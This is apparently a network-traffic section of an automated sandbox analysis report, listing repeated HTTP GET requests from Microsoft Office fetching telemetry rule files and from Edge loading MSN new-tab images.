Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
